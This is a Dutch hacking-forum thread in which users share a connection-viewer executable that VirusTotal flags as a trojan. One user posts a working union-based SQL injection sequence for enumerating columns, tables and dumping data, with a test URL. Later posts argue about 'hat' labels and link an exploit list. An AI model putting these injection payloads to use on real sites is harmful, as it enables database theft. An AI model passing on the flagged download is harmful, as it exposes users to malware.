Hackerstopic #1

Spoiler tonen

Sebastiaanh (link):
Hier een tooltje om je connecties met andere pcs/websites etc te bekijken: http://monaki.nl/shConnections.exe
Niet helemaal zelf gemaakt maar ach.

// Wtf, op Virustotal zeggen ze dat het een Trojan.Agent/Gen-MSFake ofzo is?!

https://www.virustotal.com/file/9e5e779d1fa15daadafb9193ecd88f7c05881f8f4311026854d97b7d5a0e6e5a/analysis/1333552170/ fckit vaag ._.
==================================
Dit was mijn uitslag ():

127.0.0.1:81 -> 127.0.0.1:59173 - Established
127.0.0.1:59173 -> 127.0.0.1:81 - Established
127.0.0.1:60913 -> 127.0.0.1:81 - TimeWait
127.0.0.1:60935 -> 127.0.0.1:81 - TimeWait
192.168.1.66:58492 -> 192.168.1.66:60925 - TimeWait
192.168.1.66:59414 -> 217.212.238.125:443 - Established
192.168.1.66:60608 -> 161.69.165.10:443 - Established
192.168.1.66:60643 -> 74.125.79.101:443 - Established
192.168.1.66:60711 -> 89.188.29.59:21 - Established
192.168.1.66:60753 -> 173.194.67.94:80 - Established
192.168.1.66:60759 -> 173.194.67.105:443 - Established
192.168.1.66:60760 -> 74.125.79.95:443 - Established
192.168.1.66:60761 -> 173.194.65.97:443 - Established
192.168.1.66:60762 -> 74.125.79.113:443 - Established
192.168.1.66:60812 -> 74.125.79.101:80 - Established
192.168.1.66:60830 -> 74.125.79.154:80 - Established
192.168.1.66:60831 -> 74.125.79.154:80 - Established
192.168.1.66:60832 -> 74.125.79.154:80 - Established
192.168.1.66:60833 -> 74.125.79.154:80 - Established
192.168.1.66:60834 -> 74.125.79.154:80 - Established
192.168.1.66:60835 -> 74.125.79.154:80 - Established
192.168.1.66:60836 -> 74.125.79.156:80 - Established
192.168.1.66:60837 -> 74.125.79.156:80 - Established
192.168.1.66:60838 -> 74.125.79.156:80 - Established
192.168.1.66:60839 -> 74.125.79.156:80 - Established
192.168.1.66:60840 -> 74.125.79.156:80 - Established
192.168.1.66:60906 -> 46.249.58.90:80 - TimeWait
192.168.1.66:60919 -> 192.168.1.254:80 - TimeWait
192.168.1.66:60923 -> 192.168.1.66:58492 - TimeWait
192.168.1.66:60925 -> 192.168.1.66:58492 - TimeWait
192.168.1.66:60931 -> 192.168.1.66:58492 - TimeWait
192.168.1.66:60936 -> 192.168.1.66:58492 - TimeWait
192.168.1.66:60939 -> 74.125.79.139:80 - Established
192.168.1.66:60940 -> 74.125.79.102:80 - Established
192.168.1.66:60942 -> 124.40.51.146:80 - TimeWait
192.168.1.66:60945 -> 192.168.1.66:58492 - TimeWait

Hier een handige commands voor SQLi:
krijg huidige database: -1 UNION ALL SELECT 1,2 FROM nietbestaand --+

Kijk hoeveel kollomen er zijn(aantal waarbij een error komt -1 en je hebt het aantal): -1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50 --+

Krijg alle tabel namen: -1 union select 1,group_concat(table_name) from information_schema.columns where table_schema=tests --+

Krijg de kollomen van de geselecteerde tabel: -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=tests and table_name=log --+

Ontvang alle data uit de tabel: -1 union select GROUP_CONCAT(log),1 from log --+

Je kunt deze testen op de volgende url: http://bitshosting.nl/hacking/log.php?id=

Sevvlor schreef:

Ik vind het grappig dat mensen zichzelf in hokjes stoppen, als ik een paar reacties lees zie ik dingen zoals "ik ben gray hat", wat een bull shit

Daiman schreef:

Eerdere citaten tonen

Sevvlor schreef:

Ik vind het grappig dat mensen zichzelf in hokjes stoppen, als ik een paar reacties lees zie ik dingen zoals "ik ben gray hat", wat een bull shit

wat is hier mis mee dan?

Sevvlor schreef:

Eerdere citaten tonen

Daiman schreef:

Eerdere citaten tonen

Sevvlor schreef:

Ik vind het grappig dat mensen zichzelf in hokjes stoppen, als ik een paar reacties lees zie ik dingen zoals "ik ben gray hat", wat een bull shit

wat is hier mis mee dan?

Dat gehele hat gedoe irriteerd me, ik ben -vast- niet de enige, dit word meestal aan Scriptkiddies gekoppeld. In iedergeval waar ik vandaan kom.

Sevvlor schreef:

Eerdere citaten tonen

Daiman schreef:

Eerdere citaten tonen

Sevvlor schreef:

Ik vind het grappig dat mensen zichzelf in hokjes stoppen, als ik een paar reacties lees zie ik dingen zoals "ik ben gray hat", wat een bull shit

wat is hier mis mee dan?

Dat gehele hat gedoe irriteerd me, ik ben -vast- niet de enige, dit word meestal aan Scriptkiddies gekoppeld. In iedergeval waar ik vandaan kom.

Daiman schreef:

Eerdere citaten tonen

Sevvlor schreef:

Eerdere citaten tonen

Daiman schreef:

Eerdere citaten tonen

Sevvlor schreef:

Ik vind het grappig dat mensen zichzelf in hokjes stoppen, als ik een paar reacties lees zie ik dingen zoals "ik ben gray hat", wat een bull shit

wat is hier mis mee dan?

Dat gehele hat gedoe irriteerd me, ik ben -vast- niet de enige, dit word meestal aan Scriptkiddies gekoppeld. In iedergeval waar ik vandaan kom.

Dan moet je dit gaan scheiden.
In echt heel veel nieuws artikelen word dit woord ook gebruikt.

Scriptkiddies zijn mensen die gebruik maken van programmas zoals havij e.d en daarmee dingen hacken.

Sommige zeggen ook mensen die gebruik maken van XSS lekken ook scriptkiddies zijn.
Maar dit is zowizo niet!, XSS lekken zijn een hot item de laatste tijd en zijn ook zeer gevaarlijk en risico vol.

Sebastiaanh schreef:

http://pastebin.com/UEaQZBHh Dat is deel 1 van mijn PHPMenno exploit lijst. Let niet op die kutbeschrijvingen.